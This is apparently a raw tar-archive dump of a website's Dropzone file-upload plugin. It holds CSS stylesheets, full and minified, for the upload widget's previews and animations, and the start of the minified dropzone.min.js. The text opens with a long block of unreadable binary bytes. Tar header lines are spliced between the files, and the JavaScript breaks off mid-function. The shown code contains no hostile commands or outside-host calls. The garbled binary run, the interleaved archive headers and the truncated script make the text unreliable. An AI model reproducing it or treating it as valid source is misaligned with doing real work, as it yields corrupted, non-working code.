"؞fū\w+*+?Pz?XRC5G4e9j:!|"}Ė,*3}-27 e>+Ky@Qj7F'7\<^S `RڋUU<_|C=**4É?N/t$@z-Xo X2YSAǾ:i9[|w"DEw80ܲ4ԪD) B|0@Z8Z ͦWTI8W?!p{/Vu٥mOǼ(Q&s5Ql/L_K{:Bߨ+O4OϧlC;W7 1\R7] LO8;Yw$Չjb{OԶ}v|].F۫e1)Ol-jW1+(Ych~2ǽ7^SMw/Ʃ[cK\Be? fԵ% Tz`I/ V43 ᳜|`ծ_wgoGsa1CX9 { q-hî99$;`qJz{FJy t*enJw]u:8g%O󅻢scboti,y{U5x `o4qFB4&Q"-gɦeNc\Jg:XGlQxn#4>2P!R =˙r ¹ʰO4i͆v{U\{ @[2 Ex[BҏwC OȢV؅ M&~f%Gdff'?ۙbyN_Gű֛1yi4߼y޼|[\;e~a=mf%̻Y_g;xKRehIGP. ݖߢ=!KFēԨπA""WG J[MuN2-kx`!UM{,,O@x,IגAE▨0WIF-p=?XhV_>{+[ C~#Էn7K{5 wjQr/_61)Nŕ(z:@p^\o#rES:%04_IŻblׁ3_ǡNwNۓFP|o&зg~J|O2lҏyS8+K۩:]L;<Æ[o-0x=#zEl XQfoWS%l>b ݠ(`V4ot&F5_wuXIUZ<~B({4:)КxݟFB]O][KNw,FaߔCELԦ?\Axem㱞~rPV)]Ǖ\!{h % j ADMo׊mSF͔h@ķ_}(@.k{^{sV,ZXڲKTt0fZ,Ĭr|?]5`OG d aǺMlFEvwJoldmo~ٛ_Vgoxoϟ8U j'[2 e_dd+.JMNf+ I89 5nָ\J01›~YqHc=Ne;;;Y'|?xdVs`UM>ӽ=U @w-}X;{"^@* Aմ 7eQK3φv0{{l'<=lg^; 6hl>𶪹a}6dJ%;:_4U:BL?Cx?Su/iwTwG`ד~WoKϘtzvקC+n5X.l'` e1^ ^|8~~q>O'!ϐM>txv9)eǏ࿛`8:eԄr?YCqz1g'fkUbp?=<[ٛWFb X-j[=p+dWTzZB83ǀ1Gso5EpU{S$3ѐٌLQ3X={: !ؑh>BB%D5V]sDVOho1=e<QLDkv񚜨FfŜOCya{6=ۆ& iEt|KEnj?yW,;5SZPޢΝ#C0 *p@E#Jo\kz"Y_Fo]Le&ơ@>>NBAqO1rvak|['NY) )A\ lMz m.gy0lm<_ܴ7kvC׆{=ଲjwrRS5G;T@݊bUt\#RF=S\U]-HNJn1D>+BK2*E4ھnt%tuPU/~٤<IDQ}&%A9]M&-K|Vb`85[rȗ[NMݒkݪEQf |d%MaWn Ym 6|`cl>6FTlܖ7^YILpfĥM7M*i@A"Pf.v@IH=ɩ\dx;MKNVVuwZhm(˒"N>|2&ZkRH\Cg]R^'u@x Ëbr5(Xr'hlo\:C)oi1$kuY_MUyWVu˺{\s|U?y`߻8#lA>8e#Nb8L F-`U4 _C$dUոbRoKjl>˫AwoV@5lQ|6\(*C ~`y6wG%V)l:S;]dJCzn3VP$[SГgSEI٬MdP;(gb1"Byu^\NY$F̚o袼#0 灯^O(u=Z-JWrrv[8W1c(qlWÏZgJ,8Jg[׎?଍{,b{J:HrTM;XYZΰS=tF/f%!fvg[!"̏3;]/V&"C4.Kq4ATd0Q)7qg]rhcbK>HhTKՙ@P'p_afֻzQ$.Vw#S˭Cc?Tm){x#؎QM#a hr}ϝzDRƬы0WtUi@flӰɈ!YX=r +kAoÇv-<<9qЬr1=y5適{:HMtv[xMqvJW8m,f=Fپ%P1+mmK;j'q liXy7;&C=c1k߽ 'rSq[QGwP0#6B;;$nFSx<=>˦.\3GJ̀ \n(;]F݇|gV2᭬wª="l>O yfLo e 7TJmz2Z5SDkʋinFUk`"Jy;|7;E?s#O#dozv9a+]FJFnU-&!+8$b|1\D[F[M2Wܡ]c]~u 3Lc>s/}fAiT(s%;T QTv~0mZjX`é%\^czOMƪDfmTÓx8`?{ѻӅQQi 8ը۲)j?7b4:RSG-nw]wsoJBb A=;tcw0,, 'yu+oWHF}<_S|JLVy4\mA~,Axjsk#ljH߫v_Kj֊.| X߈0_SJj}u 7%.@nilg|52WqA)2V8~j5g>_׬W<fNg 84% 9[Oq._7o|шlǣ쓴No */ @-webkit-keyframes passing-through { 0% { opacity: 0; -webkit-transform: translateY(40px); -moz-transform: translateY(40px); -ms-transform: translateY(40px); -o-transform: translateY(40px); transform: translateY(40px); } 30%, 70% { opacity: 1; -webkit-transform: translateY(0px); -moz-transform: translateY(0px); -ms-transform: translateY(0px); -o-transform: translateY(0px); transform: translateY(0px); } 100% { opacity: 0; -webkit-transform: translateY(-40px); -moz-transform: translateY(-40px); -ms-transform: translateY(-40px); -o-transform: translateY(-40px); transform: translateY(-40px); } } @-moz-keyframes passing-through { 0% { opacity: 0; -webkit-transform: translateY(40px); -moz-transform: translateY(40px); -ms-transform: translateY(40px); -o-transform: translateY(40px); transform: translateY(40px); } 30%, 70% { opacity: 1; -webkit-transform: translateY(0px); -moz-transform: translateY(0px); -ms-transform: translateY(0px); -o-transform: translateY(0px); transform: translateY(0px); } 100% { opacity: 0; -webkit-transform: translateY(-40px); -moz-transform: translateY(-40px); -ms-transform: translateY(-40px); -o-transform: translateY(-40px); transform: translateY(-40px); } } @keyframes passing-through { 0% { opacity: 0; -webkit-transform: translateY(40px); -moz-transform: translateY(40px); -ms-transform: translateY(40px); -o-transform: translateY(40px); transform: translateY(40px); } 30%, 70% { opacity: 1; -webkit-transform: translateY(0px); -moz-transform: translateY(0px); -ms-transform: translateY(0px); -o-transform: translateY(0px); transform: translateY(0px); } 100% { opacity: 0; -webkit-transform: translateY(-40px); -moz-transform: translateY(-40px); -ms-transform: translateY(-40px); -o-transform: translateY(-40px); transform: translateY(-40px); } } @-webkit-keyframes slide-in { 0% { opacity: 0; -webkit-transform: translateY(40px); -moz-transform: translateY(40px); -ms-transform: translateY(40px); -o-transform: translateY(40px); transform: translateY(40px); } 30% { opacity: 1; -webkit-transform: translateY(0px); -moz-transform: translateY(0px); -ms-transform: translateY(0px); -o-transform: translateY(0px); transform: translateY(0px); } } @-moz-keyframes slide-in { 0% { opacity: 0; -webkit-transform: translateY(40px); -moz-transform: translateY(40px); -ms-transform: translateY(40px); -o-transform: translateY(40px); transform: translateY(40px); } 30% { opacity: 1; -webkit-transform: translateY(0px); -moz-transform: translateY(0px); -ms-transform: translateY(0px); -o-transform: translateY(0px); transform: translateY(0px); } } @keyframes slide-in { 0% { opacity: 0; -webkit-transform: translateY(40px); -moz-transform: translateY(40px); -ms-transform: translateY(40px); -o-transform: translateY(40px); transform: translateY(40px); } 30% { opacity: 1; -webkit-transform: translateY(0px); -moz-transform: translateY(0px); -ms-transform: translateY(0px); -o-transform: translateY(0px); transform: translateY(0px); } } @-webkit-keyframes pulse { 0% { -webkit-transform: scale(1); -moz-transform: scale(1); -ms-transform: scale(1); -o-transform: scale(1); transform: scale(1); } 10% { -webkit-transform: scale(1.1); -moz-transform: scale(1.1); -ms-transform: scale(1.1); -o-transform: scale(1.1); transform: scale(1.1); } 20% { -webkit-transform: scale(1); -moz-transform: scale(1); -ms-transform: scale(1); -o-transform: scale(1); transform: scale(1); } } @-moz-keyframes pulse { 0% { -webkit-transform: scale(1); -moz-transform: scale(1); -ms-transform: scale(1); -o-transform: scale(1); transform: scale(1); } 10% { -webkit-transform: scale(1.1); -moz-transform: scale(1.1); -ms-transform: scale(1.1); -o-transform: scale(1.1); transform: scale(1.1); } 20% { -webkit-transform: scale(1); -moz-transform: scale(1); -ms-transform: scale(1); -o-transform: scale(1); transform: scale(1); } } @keyframes pulse { 0% { -webkit-transform: scale(1); -moz-transform: scale(1); -ms-transform: scale(1); -o-transform: scale(1); transform: scale(1); } 10% { -webkit-transform: scale(1.1); -moz-transform: scale(1.1); -ms-transform: scale(1.1); -o-transform: scale(1.1); transform: scale(1.1); } 20% { -webkit-transform: scale(1); -moz-transform: scale(1); -ms-transform: scale(1); -o-transform: scale(1); transform: scale(1); } } .dropzone, .dropzone * { box-sizing: border-box; } .dropzone { min-height: 150px; border: 2px solid rgba(0, 0, 0, 0.3); background: white; padding: 20px 20px; } .dropzone.dz-clickable { cursor: pointer; } .dropzone.dz-clickable * { cursor: default; } .dropzone.dz-clickable .dz-message, .dropzone.dz-clickable .dz-message * { cursor: pointer; } .dropzone.dz-started .dz-message { display: none; } .dropzone.dz-drag-hover { border-style: solid; } .dropzone.dz-drag-hover .dz-message { opacity: 0.5; } .dropzone .dz-message { text-align: center; margin: 2em 0; } .dropzone .dz-message .dz-button { background: none; color: inherit; border: none; padding: 0; font: inherit; cursor: pointer; outline: inherit; } .dropzone .dz-preview { position: relative; display: inline-block; vertical-align: top; margin: 16px; min-height: 100px; } .dropzone .dz-preview:hover { z-index: 1000; } .dropzone .dz-preview:hover .dz-details { opacity: 1; } .dropzone .dz-preview.dz-file-preview .dz-image { border-radius: 20px; background: #999; background: linear-gradient(to bottom, #eee, #ddd); } .dropzone .dz-preview.dz-file-preview .dz-details { opacity: 1; } .dropzone .dz-preview.dz-image-preview { background: white; } .dropzone .dz-preview.dz-image-preview .dz-details { -webkit-transition: opacity 0.2s linear; -moz-transition: opacity 0.2s linear; -ms-transition: opacity 0.2s linear; -o-transition: opacity 0.2s linear; transition: opacity 0.2s linear; } .dropzone .dz-preview .dz-remove { font-size: 14px; text-align: center; display: block; cursor: pointer; border: none; } .dropzone .dz-preview .dz-remove:hover { text-decoration: underline; } .dropzone .dz-preview:hover .dz-details { opacity: 1; } .dropzone .dz-preview .dz-details { z-index: 20; position: absolute; top: 0; left: 0; opacity: 0; font-size: 13px; min-width: 100%; max-width: 100%; padding: 2em 1em; text-align: center; color: rgba(0, 0, 0, 0.9); line-height: 150%; } .dropzone .dz-preview .dz-details .dz-size { margin-bottom: 1em; font-size: 16px; } .dropzone .dz-preview .dz-details .dz-filename { white-space: nowrap; } .dropzone .dz-preview .dz-details .dz-filename:hover span { border: 1px solid rgba(200, 200, 200, 0.8); background-color: rgba(255, 255, 255, 0.8); } .dropzone .dz-preview .dz-details .dz-filename:not(:hover) { overflow: hidden; text-overflow: ellipsis; } .dropzone .dz-preview .dz-details .dz-filename:not(:hover) span { border: 1px solid transparent; } .dropzone .dz-preview .dz-details .dz-filename span, .dropzone .dz-preview .dz-details .dz-size span { background-color: rgba(255, 255, 255, 0.4); padding: 0 0.4em; border-radius: 3px; } .dropzone .dz-preview:hover .dz-image img { -webkit-transform: scale(1.05, 1.05); -moz-transform: scale(1.05, 1.05); -ms-transform: scale(1.05, 1.05); -o-transform: scale(1.05, 1.05); transform: scale(1.05, 1.05); -webkit-filter: blur(8px); filter: blur(8px); } .dropzone .dz-preview .dz-image { border-radius: 20px; overflow: hidden; width: 120px; height: 120px; position: relative; display: block; z-index: 10; } .dropzone .dz-preview .dz-image img { display: block; } .dropzone .dz-preview.dz-success .dz-success-mark { -webkit-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1); -moz-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1); -ms-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1); -o-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1); animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1); } .dropzone .dz-preview.dz-error .dz-error-mark { opacity: 1; -webkit-animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1); -moz-animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1); -ms-animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1); -o-animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1); animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1); } .dropzone .dz-preview .dz-success-mark, .dropzone .dz-preview .dz-error-mark { pointer-events: none; opacity: 0; z-index: 500; position: absolute; display: block; top: 50%; left: 50%; margin-left: -27px; margin-top: -27px; } .dropzone .dz-preview .dz-success-mark svg, .dropzone .dz-preview .dz-error-mark svg { display: block; width: 54px; height: 54px; } .dropzone .dz-preview.dz-processing .dz-progress { opacity: 1; -webkit-transition: all 0.2s linear; -moz-transition: all 0.2s linear; -ms-transition: all 0.2s linear; -o-transition: all 0.2s linear; transition: all 0.2s linear; } .dropzone .dz-preview.dz-complete .dz-progress { opacity: 0; -webkit-transition: opacity 0.4s ease-in; -moz-transition: opacity 0.4s ease-in; -ms-transition: opacity 0.4s ease-in; -o-transition: opacity 0.4s ease-in; transition: opacity 0.4s ease-in; } .dropzone .dz-preview:not(.dz-processing) .dz-progress { -webkit-animation: pulse 6s ease infinite; -moz-animation: pulse 6s ease infinite; -ms-animation: pulse 6s ease infinite; -o-animation: pulse 6s ease infinite; animation: pulse 6s ease infinite; } .dropzone .dz-preview .dz-progress { opacity: 1; z-index: 1000; pointer-events: none; position: absolute; height: 16px; left: 50%; top: 50%; margin-top: -8px; width: 80px; margin-left: -40px; background: rgba(255, 255, 255, 0.9); -webkit-transform: scale(1); border-radius: 8px; overflow: hidden; } .dropzone .dz-preview .dz-progress .dz-upload { background: #333; background: linear-gradient(to bottom, #666, #444); position: absolute; top: 0; left: 0; bottom: 0; width: 0; -webkit-transition: width 300ms ease-in-out; -moz-transition: width 300ms ease-in-out; -ms-transition: width 300ms ease-in-out; -o-transition: width 300ms ease-in-out; transition: width 300ms ease-in-out; } .dropzone .dz-preview.dz-error .dz-error-message { display: block; } .dropzone .dz-preview.dz-error:hover .dz-error-message { opacity: 1; pointer-events: auto; } .dropzone .dz-preview .dz-error-message { pointer-events: none; z-index: 1000; position: absolute; display: block; display: none; opacity: 0; -webkit-transition: opacity 0.3s ease; -moz-transition: opacity 0.3s ease; -ms-transition: opacity 0.3s ease; -o-transition: opacity 0.3s ease; transition: opacity 0.3s ease; border-radius: 8px; font-size: 13px; top: 130px; left: -10px; width: 140px; background: #be2626; background: linear-gradient(to bottom, #be2626, #a92222); padding: 0.5em 1.2em; color: white; } .dropzone .dz-preview .dz-error-message:after { content: ''; position: absolute; top: -6px; left: 64px; width: 0; height: 0; border-left: 6px solid transparent; border-right: 6px solid transparent; border-bottom: 6px solid #be2626; } min/dropzone.min.css000064400000023167150250145160010473 0ustar00@-webkit-keyframes passing-through{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%, 70%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}100%{opacity:0;-webkit-transform:translateY(-40px);-moz-transform:translateY(-40px);-ms-transform:translateY(-40px);-o-transform:translateY(-40px);transform:translateY(-40px)}}@-moz-keyframes passing-through{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%, 70%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}100%{opacity:0;-webkit-transform:translateY(-40px);-moz-transform:translateY(-40px);-ms-transform:translateY(-40px);-o-transform:translateY(-40px);transform:translateY(-40px)}}@keyframes passing-through{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%, 70%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}100%{opacity:0;-webkit-transform:translateY(-40px);-moz-transform:translateY(-40px);-ms-transform:translateY(-40px);-o-transform:translateY(-40px);transform:translateY(-40px)}}@-webkit-keyframes slide-in{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}}@-moz-keyframes slide-in{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}}@keyframes slide-in{0%{opacity:0;-webkit-transform:translateY(40px);-moz-transform:translateY(40px);-ms-transform:translateY(40px);-o-transform:translateY(40px);transform:translateY(40px)}30%{opacity:1;-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px);transform:translateY(0px)}}@-webkit-keyframes pulse{0%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}10%{-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-ms-transform:scale(1.1);-o-transform:scale(1.1);transform:scale(1.1)}20%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}}@-moz-keyframes pulse{0%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}10%{-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-ms-transform:scale(1.1);-o-transform:scale(1.1);transform:scale(1.1)}20%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}}@keyframes pulse{0%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}10%{-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-ms-transform:scale(1.1);-o-transform:scale(1.1);transform:scale(1.1)}20%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}}.dropzone,.dropzone *{box-sizing:border-box}.dropzone{min-height:150px;border:2px solid rgba(0,0,0,0.3);background:white;padding:20px 20px}.dropzone.dz-clickable{cursor:pointer}.dropzone.dz-clickable *{cursor:default}.dropzone.dz-clickable .dz-message,.dropzone.dz-clickable .dz-message *{cursor:pointer}.dropzone.dz-started .dz-message{display:none}.dropzone.dz-drag-hover{border-style:solid}.dropzone.dz-drag-hover .dz-message{opacity:0.5}.dropzone .dz-message{text-align:center;margin:2em 0}.dropzone .dz-message .dz-button{background:none;color:inherit;border:none;padding:0;font:inherit;cursor:pointer;outline:inherit}.dropzone .dz-preview{position:relative;display:inline-block;vertical-align:top;margin:16px;min-height:100px}.dropzone .dz-preview:hover{z-index:1000}.dropzone .dz-preview:hover .dz-details{opacity:1}.dropzone .dz-preview.dz-file-preview .dz-image{border-radius:20px;background:#999;background:linear-gradient(to bottom, #eee, #ddd)}.dropzone .dz-preview.dz-file-preview .dz-details{opacity:1}.dropzone .dz-preview.dz-image-preview{background:white}.dropzone .dz-preview.dz-image-preview .dz-details{-webkit-transition:opacity 0.2s linear;-moz-transition:opacity 0.2s linear;-ms-transition:opacity 0.2s linear;-o-transition:opacity 0.2s linear;transition:opacity 0.2s linear}.dropzone .dz-preview .dz-remove{font-size:14px;text-align:center;display:block;cursor:pointer;border:none}.dropzone .dz-preview .dz-remove:hover{text-decoration:underline}.dropzone .dz-preview:hover .dz-details{opacity:1}.dropzone .dz-preview .dz-details{z-index:20;position:absolute;top:0;left:0;opacity:0;font-size:13px;min-width:100%;max-width:100%;padding:2em 1em;text-align:center;color:rgba(0,0,0,0.9);line-height:150%}.dropzone .dz-preview .dz-details .dz-size{margin-bottom:1em;font-size:16px}.dropzone .dz-preview .dz-details .dz-filename{white-space:nowrap}.dropzone .dz-preview .dz-details .dz-filename:hover span{border:1px solid rgba(200,200,200,0.8);background-color:rgba(255,255,255,0.8)}.dropzone .dz-preview .dz-details .dz-filename:not(:hover){overflow:hidden;text-overflow:ellipsis}.dropzone .dz-preview .dz-details .dz-filename:not(:hover) span{border:1px solid transparent}.dropzone .dz-preview .dz-details .dz-filename span,.dropzone .dz-preview .dz-details .dz-size span{background-color:rgba(255,255,255,0.4);padding:0 0.4em;border-radius:3px}.dropzone .dz-preview:hover .dz-image img{-webkit-transform:scale(1.05, 1.05);-moz-transform:scale(1.05, 1.05);-ms-transform:scale(1.05, 1.05);-o-transform:scale(1.05, 1.05);transform:scale(1.05, 1.05);-webkit-filter:blur(8px);filter:blur(8px)}.dropzone .dz-preview .dz-image{border-radius:20px;overflow:hidden;width:120px;height:120px;position:relative;display:block;z-index:10}.dropzone .dz-preview .dz-image img{display:block}.dropzone .dz-preview.dz-success .dz-success-mark{-webkit-animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-moz-animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-ms-animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-o-animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);animation:passing-through 3s cubic-bezier(0.77, 0, 0.175, 1)}.dropzone .dz-preview.dz-error .dz-error-mark{opacity:1;-webkit-animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);-moz-animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);-ms-animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);-o-animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);animation:slide-in 3s cubic-bezier(0.77, 0, 0.175, 1)}.dropzone .dz-preview .dz-success-mark,.dropzone .dz-preview .dz-error-mark{pointer-events:none;opacity:0;z-index:500;position:absolute;display:block;top:50%;left:50%;margin-left:-27px;margin-top:-27px}.dropzone .dz-preview .dz-success-mark svg,.dropzone .dz-preview .dz-error-mark svg{display:block;width:54px;height:54px}.dropzone .dz-preview.dz-processing .dz-progress{opacity:1;-webkit-transition:all 0.2s linear;-moz-transition:all 0.2s linear;-ms-transition:all 0.2s linear;-o-transition:all 0.2s linear;transition:all 0.2s linear}.dropzone .dz-preview.dz-complete .dz-progress{opacity:0;-webkit-transition:opacity 0.4s ease-in;-moz-transition:opacity 0.4s ease-in;-ms-transition:opacity 0.4s ease-in;-o-transition:opacity 0.4s ease-in;transition:opacity 0.4s ease-in}.dropzone .dz-preview:not(.dz-processing) .dz-progress{-webkit-animation:pulse 6s ease infinite;-moz-animation:pulse 6s ease infinite;-ms-animation:pulse 6s ease infinite;-o-animation:pulse 6s ease infinite;animation:pulse 6s ease infinite}.dropzone .dz-preview .dz-progress{opacity:1;z-index:1000;pointer-events:none;position:absolute;height:16px;left:50%;top:50%;margin-top:-8px;width:80px;margin-left:-40px;background:rgba(255,255,255,0.9);-webkit-transform:scale(1);border-radius:8px;overflow:hidden}.dropzone .dz-preview .dz-progress .dz-upload{background:#333;background:linear-gradient(to bottom, #666, #444);position:absolute;top:0;left:0;bottom:0;width:0;-webkit-transition:width 300ms ease-in-out;-moz-transition:width 300ms ease-in-out;-ms-transition:width 300ms ease-in-out;-o-transition:width 300ms ease-in-out;transition:width 300ms ease-in-out}.dropzone .dz-preview.dz-error .dz-error-message{display:block}.dropzone .dz-preview.dz-error:hover .dz-error-message{opacity:1;pointer-events:auto}.dropzone .dz-preview .dz-error-message{pointer-events:none;z-index:1000;position:absolute;display:block;display:none;opacity:0;-webkit-transition:opacity 0.3s ease;-moz-transition:opacity 0.3s ease;-ms-transition:opacity 0.3s ease;-o-transition:opacity 0.3s ease;transition:opacity 0.3s ease;border-radius:8px;font-size:13px;top:130px;left:-10px;width:140px;background:#be2626;background:linear-gradient(to bottom, #be2626, #a92222);padding:0.5em 1.2em;color:white}.dropzone .dz-preview .dz-error-message:after{content:'';position:absolute;top:-6px;left:64px;width:0;height:0;border-left:6px solid transparent;border-right:6px solid transparent;border-bottom:6px solid #be2626} min/basic.css.tar000064400000006000150250145160007702 0ustar00home/autoph/public_html/ltms-upload/plugins/dropzone/basic.css000064400000002141150247504430020655 0ustar00/* * The MIT License * Copyright (c) 2012 Matias Meno */ .dropzone, .dropzone * { box-sizing: border-box; } .dropzone { position: relative; } .dropzone .dz-preview { position: relative; display: inline-block; width: 120px; margin: 0.5em; } .dropzone .dz-preview .dz-progress { display: block; height: 15px; border: 1px solid #aaa; } .dropzone .dz-preview .dz-progress .dz-upload { display: block; height: 100%; width: 0; background: green; } .dropzone .dz-preview .dz-error-message { color: red; display: none; } .dropzone .dz-preview.dz-error .dz-error-message, .dropzone .dz-preview.dz-error .dz-error-mark { display: block; } .dropzone .dz-preview.dz-success .dz-success-mark { display: block; } .dropzone .dz-preview .dz-error-mark, .dropzone .dz-preview .dz-success-mark { position: absolute; display: none; left: 30px; top: 30px; width: 54px; height: 58px; left: 50%; margin-left: -27px; } min/basic.min.css000064400000001360150250145160007703 0ustar00.dropzone,.dropzone *{box-sizing:border-box}.dropzone{position:relative}.dropzone .dz-preview{position:relative;display:inline-block;width:120px;margin:0.5em}.dropzone .dz-preview .dz-progress{display:block;height:15px;border:1px solid #aaa}.dropzone .dz-preview .dz-progress .dz-upload{display:block;height:100%;width:0;background:green}.dropzone .dz-preview .dz-error-message{color:red;display:none}.dropzone .dz-preview.dz-error .dz-error-message,.dropzone .dz-preview.dz-error .dz-error-mark{display:block}.dropzone .dz-preview.dz-success .dz-success-mark{display:block}.dropzone .dz-preview .dz-error-mark,.dropzone .dz-preview .dz-success-mark{position:absolute;display:none;left:30px;top:30px;width:54px;height:58px;left:50%;margin-left:-27px} min/dropzone.min.js000064400000134577150250145160010327 0ustar00"use strict";function _typeof(e){return(_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function _inherits(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&_setPrototypeOf(e,t)}function _setPrototypeOf(e,t){return(_setPrototypeOf=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function _createSuper(i){var r=_isNativeReflectConstruct();return function(){var e,t=_getPrototypeOf(i);if(r){var n=_getPrototypeOf(this).constructor;e=Reflect.construct(t,arguments,n)}else e=t.apply(this,arguments);return _possibleConstructorReturn(this,e)}}function _possibleConstructorReturn(e,t){return!t||"object"!==_typeof(t)&&"function"!=typeof t?_assertThisInitialized(e):t}function _assertThisInitialized(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function _isNativeReflectConstruct(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(e){return!1}}function _getPrototypeOf(e){return(_getPrototypeOf=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function _createForOfIteratorHelper(e,t){var n;if("undefined"==typeof Symbol||null==e[Symbol.iterator]){if(Array.isArray(e)||(n=_unsupportedIterableToArray(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var i=0,r=function(){};return{s:r,n:function(){return i>=e.length?{done:!0}:{done:!1,value:e[i++]}},e:function(e){throw e},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,l=!1;return{s:function(){n=e[Symbol.iterator]()},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,o=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw o}}}}function _unsupportedIterableToArray(e,t){if(e){if("string"==typeof e)return _arrayLikeToArray(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?_arrayLikeToArray(e,t):void 0}}function _arrayLikeToArray(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,i=new Array(t);n'),this.element.appendChild(e));var r=e.getElementsByTagName("span")[0];return r&&(null!=r.textContent?r.textContent=this.options.dictFallbackMessage:null!=r.innerText&&(r.innerText=this.options.dictFallbackMessage)),this.element.appendChild(this.getFallbackForm())},resize:function(e,t,n,i){var r={srcX:0,srcY:0,srcWidth:e.width,srcHeight:e.height},o=e.width/e.height;null==t&&null==n?(t=r.srcWidth,n=r.srcHeight):null==t?t=n*o:null==n&&(n=t/o);var a=(t=Math.min(t,r.srcWidth))/(n=Math.min(n,r.srcHeight));if(r.srcWidth>t||r.srcHeight>n)if("crop"===i)a\n
\n
\n
\n
\n
\n
\n
\n
\n \n Check\n \n \n \n \n
\n
\n \n Error\n \n \n \n \n \n \n
\n',drop:function(){return this.element.classList.remove("dz-drag-hover")},dragstart:function(){},dragend:function(){return this.element.classList.remove("dz-drag-hover")},dragenter:function(){return this.element.classList.add("dz-drag-hover")},dragover:function(){return this.element.classList.add("dz-drag-hover")},dragleave:function(){return this.element.classList.remove("dz-drag-hover")},paste:function(){},reset:function(){return this.element.classList.remove("dz-started")},addedfile:function(t){var n=this;if(this.element===this.previewsContainer&&this.element.classList.add("dz-started"),this.previewsContainer){t.previewElement=b.createElement(this.options.previewTemplate.trim()),t.previewTemplate=t.previewElement,this.previewsContainer.appendChild(t.previewElement);var e,i=_createForOfIteratorHelper(t.previewElement.querySelectorAll("[data-dz-name]"));try{for(i.s();!(e=i.n()).done;){var r=e.value;r.textContent=t.name}}catch(e){i.e(e)}finally{i.f()}var 